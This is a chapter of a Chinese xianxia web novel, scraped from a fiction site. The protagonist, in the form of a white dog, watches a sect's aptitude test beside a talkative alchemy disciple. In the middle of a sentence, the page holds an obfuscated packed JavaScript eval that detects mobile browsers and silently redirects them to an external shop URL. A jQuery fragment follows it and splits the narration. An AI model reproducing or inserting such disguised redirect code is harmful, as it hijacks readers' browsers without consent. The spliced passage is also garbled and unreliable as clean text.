文趣网 > 其他小说 > 穿进黑深残漫画后 > 9. 朋友一号炸炉哥
    居然答应了,沈惊春有些意外地一抬眼。

    应声后就没再多说话,顾崇山已经没再看他,垂眼认真地看着书上的内容。

    长夜漫漫。

    睡了将近一整天后在晚上根本睡不着,沈惊春在屋里一阵跑酷,累了但没有丝毫睡意,最终只能认命地领了本书,自己搁蒲团上看去了。

    西南角发现了具妖兽尸体的消息在第二日传开。妖兽尸体是去那里勘察情况的弟子们发现的,只是不知是谁解决的,专管阵法的长老维修了护宗大阵,宗内再也没有漏网之地。

    一月之期飞速,眨眼便到。宗门内事务如常,只有新进宗的杂役弟子略显躁动。

    进宗一月期满,他们仅有一次进入外门的机会,尽管希望渺茫,但依旧有人仍想再试一试。

    之前举办弟子大典的广场之上,擢选为内门及外门的弟子已不在场,杂役弟子占据小半个广场,喧嚣声密集。

    依旧和上一次来这里时一样待在挎顾崇山身上的布袋里,沈惊春在路上听到了有关玉扳指几人的消息。

    几人在昨天离开的宗门,离开时一瘸一拐的,身上还有许多淤痕,虽然没明说,但应当是前管事打的。

    前管事偏向自己族内的后辈,但若是族内后辈连累他丢了这份明明可以安稳到老的好差事,那这份亲情可以浅薄到几乎不计。

    和管事小叔撕破了脸皮,身上钱输了个精光,七日内又来不及向家里伸手要钱,玉无瑕几人走前还在向交好的同门借钱,也不知借到没有。

    总之唯一留下的顾崇山算是在杂役弟子里出名了,一路上有各色视线投来又很快移开。

    但一直被偷瞥的本人并不在意这些视线,目不斜视,只在人潮汹涌时抬手护了下斜挎在身侧的布袋。

    这次的根骨测试和入宗前的一样,依旧有一位管事和一位长老在场。测试并不要求所有人在场,想试的人自行上前即可。

    说是自行上前,但无人敢在这么多人面前尝试,晚来的外门长老在高台之上落座,一众弟子在底下观望着,隐约的说话声不断响起,却无一人上前。

    站在密集的人群里,顾崇山抬头看了眼高台之上的长老,从对方脸上扫过后很快收回视线,眼尾垂下。

    然后垂下眼时看到下面的布袋动了下,窝在里面的白毛团从边沿翻出,落地后溜达着离开,注意到他的视线后冲他一扬头,之后挤出人堆。

    人太多的地方有股子人味,还闹哄哄的,最近听觉和嗅觉莫名变灵敏了许多,沈惊春不喜欢,开溜了。

    离开臭小鬼堆,顿觉天地宽。

    挤出人堆后呼吸了口新鲜空气,他脑子都清醒了不少,绕着广场遛弯的步子都更有劲了些。

    这个广场是将一座山头拦腰斩断得来的,是杂役弟子和内外门弟子唯一重合的活动场所,平时都是剑门弟子在这练剑,其他时候偶尔拿来当集会的地方,占地十分广阔。

    广场边缘亭台楼阁重重叠叠,从紧挨着的高山飞漱下的银白飞瀑水流声轰鸣,蔓延的水汽打在堆叠的楼阁飞起的檐角和灰黑瓦片上,点点绿意在灰瓦上蔓延生长。

    瀑布里似乎有鱼。远处一群弟子紧张刺激地等待着再次测试根骨,这边白毛团一点紧张劲都没有,开始全神贯注地试图在水里寻找鱼的踪迹。

    不住的水流里出现一点墨色的痕迹,他稍微靠近了些,站在栏杆边低头往下看过去,然后猝不及防的,大片灰黑的水流从顶上倾泻下,头顶的光线都暗了瞬。

    “?”脚上的白毛被水滴溅到,平白出现一个墨色的小点,沈惊春抬头,一眼看到一只握着个铜锅的手从顶上的游廊里伸出。

    干净的瀑流从铜锅里涮过,然后批量生产出墨水流下,处在下游的他刚好遭了殃。

    他正想开始狗叫,楼上游廊檐下突然探出个头来,穿着身绛蓝色弟子道服的少年抓着栏杆,正红发带混在黑发间,顺着动作随风飘在半空中,一张满是热烈少年气的脸上尽是意外,对他道:

    “抱歉,是不是弄脏你了?”

    .

    “抱歉哈,我就想顺手洗下药炉,没想到底下有人。”

    山雾缭绕的高阁游廊之上,沈惊春睁着一双没有情绪的眼伸出一条腿,让面前的人处理被弄脏的爪子。

    相明远将白毛上的墨色痕迹处理干净,完事后打了个响指,说:“好了,这下干净了。”

    响指响起的同时,湿润的白毛霎时干燥蓬松,甚至有点暖烘烘。

    沈惊春看着,暗暗记下。不知道这又是什么法诀,看上去十分之好用,回头让顾崇山也学学。

    “你为什么会在这种地方……哦,主人带你来的是吧。”

    相逢即是缘,对着一条狗也能聊得起劲,相明远往栏杆上一坐,看向远处正在测试根骨的一群杂役弟子,拍了拍手说:“来了正好,刚好没人跟我说话。我原本想炼丹打发时间的,结果草药刚全耗完了。”

    准确地来说是烧光了,在炉子里炼成了碳,所以他刚在用瀑布水洗炉子。

    对他的究极外向程度并不意外,沈惊春只在旁边打量着他的药炉,以及药炉旁边的脑袋大小的墨黑的玉石样的东西。

    第一眼看到的时候他就认出来了,这是相明远,顾崇山以后的朋友之一,丹药世家出身,正儿八经的世家子,也是玄天宗内门长老亲传弟子。

    但炼丹能力极差,且话多。

    “诶我原本应该也不会在这里的,被罚了没办法。”无聊地戳了下狗头,相明远说,“不就炼丹的时候炸伤了几个人吗,他们现在都能蹦能跳的,那几个老头子非得罚我到外门跑腿到年底。”

    今天也是跑腿来的,负责在远处监视,避免有人作弊以及保管备用的用于测试的灵玉。虽然他刚才完全没在看,自顾自洗炉子去了。

    没戳成功,白毛团轻易地躲过了他的手,看向远处的人群。

    根骨测试开始了。陆陆续续有弟子走上高台,挨个等待着测试。

    “你在看他们啊,他们在进行根骨测试。”完全被无视了,相明远依旧尽职地当着一个场外解说,也不管边上的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948899|214107||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    狗听不听得懂,边看边道,“把手放那个球上,球发光了就说明有资质,亮到一定程度就能进外门。”

    但和历年的情况一样,尽管这么多人测试,真能借此升进外门的却寥寥无几,最先走上高台的几人无一例外,全都在亮起了微弱的光后悻悻而归。

    敢于先上去的都是对自己实力稍有自信的,连这这些人都过不了,看来今年应该没人能升外门了。

    一无所获更显得被派来这里的自己像个怨种,完全是浪费时间。他靠背后栏杆上,手里一上一下地掂着备用的玉石,进行少男的祈祷:“要是能快点结束就好了。”

    灵玉中空,不重,在他手里轻飘飘的,跟气球一样,看不出有多贵重。

    对于想快点结束这点这点沈惊春倒是和他保持一致。

    只是上天总不如人愿,之前几人没一个能过,后面的人迟疑了,迟迟不敢上前,时间在这些人左顾右盼间一分一秒白白流走。

    要是都不敢那就都别试了。相明远刚想说话,远处人堆里走出个人来,径直迈向高台阶梯。

    少年身上道服略有破损,浑身上下瞧不见一件饰物,朴素到极致。他虽不认识这人,但能察觉出现场气氛略有些微妙,对方上前后原本隐隐约约的交谈声都停了,广场一时间安静到瀑布水流声清晰可闻,大概是之前发生过什么。

    没有掌声和鼓励声,对方并不被看好。

    长老对所有人一视同仁,眼皮没有掀动半分,只在人上前后示意将手放在灵玉上即可。

    这人倒是比之前上去的那些人要干脆许多,也不扭捏地犹豫,径直碰上灵玉。

    点点光亮汇聚,光亮渐显,而后迅速变化。

    “……”

    台下惊疑的惊呼声响起的同时,一直耷拉着眼睛的长老掀起眼皮,看向亮光的灵玉和少年黑沉的双瞳。

    “天生剑骨……这样的人是怎么沦落到杂役弟子这来的,得罪什么人了吗是?”

    在广场的嘈杂声响中,楼阁之上的相明远稍稍探过头,眼里带上明显的疑惑,说:“这不应该进宗的时候就抬进内门吗。”

    灵玉亮得跟夜间圆月一样,原来还能亮成这样,之前的那些光亮跟这对比起来像闹着玩的。他的表情和高台上的长老如出一辙,不太清楚之前招人的长老和管事是干什么吃的,怎么把人送这来了。

    理所当然的,长老当场收走了对方的杂役弟子木牌,换为外门弟子玉牌。

    获得新玉牌的弟子本人超乎寻常的沉着,全程表情没有任何变化,其他人反倒精神高涨,在人下台后将其围住,围观着新到手的弟子玉牌。

    在人群中沉默不语,黑发的少年忽略了周围的声音,转头向远处高台楼阁看去,和栏杆之上的白毛团对上视线。

    一直不变的表情终于些微变化,他对着楼阁的方向稍抬起拿着玉牌的手,青绿的玉穗在微风中轻轻飞动间眉眼稍稍和缓。

    “……”

    意识到人是在看这边,沈惊春趴在栏杆上,百忙之中抬起爪子敷衍地挥了下。